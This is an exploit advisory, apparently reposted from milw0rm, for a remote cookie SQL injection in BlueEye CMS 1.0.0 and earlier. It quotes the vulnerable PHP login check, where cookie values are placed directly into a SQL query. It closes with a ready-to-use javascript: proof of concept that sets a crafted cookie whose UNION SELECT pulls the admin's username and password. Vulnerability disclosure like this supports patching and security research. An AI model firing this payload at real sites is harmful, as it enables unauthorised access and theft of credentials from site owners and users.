#
# BlueEye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability
# found by ka0x <ka0x01[alt+64]gmail.com>
# 

Download: http://kent.dl.sourceforge.net/sourceforge/blueeyecms/blue_eye_cms-1_0_0_preRC.rar
need magic_quotes_gpc = Off

- Vuln code:

10:	if (!empty($_COOKIE["BlueEyeCMS_login"])) { 	// --> Only??
11:		$c_login = $_COOKIE["BlueEyeCMS_login"]; // --> Not clean??
12:		$c_pass = $_COOKIE["BlueEyeCMS_pass"];
13:		$c_key = $_COOKIE["BlueEyeCMS_key"];
....	
16:	        $table = $db_prefix."users";
17:	        $query = mysql_query("SELECT id FROM `$table` WHERE `user` = '$c_login' AND `password` = '$c_pass' AND `key` = '$c_key'"); // -> VULN
18:          	$rows = mysql_num_rows($query); -> num rows of the query
19:          	$result = mysql_fetch_array($query);
....
21:      	if ($rows == 1) { // -> check if exists one row..
22:      		$logged = $c_login;
23:      		$logged_id = $result['id'];
24:      	}
....
204:	       <img src=\"themes/".$theme."/images/dots.png\">&nbsp;&nbsp;Logged as: ".$logged." (ID: ".$logged_id.")<br>


- Proof Of Concept:
javascript:document.cookie = "BlueEyeCMS_login=' UNION SELECT concat(user,0x3A,password) FROM blueeye_users WHERE id=1/*; path=/";

# -EoF- #

# milw0rm.com [2009-03-06]
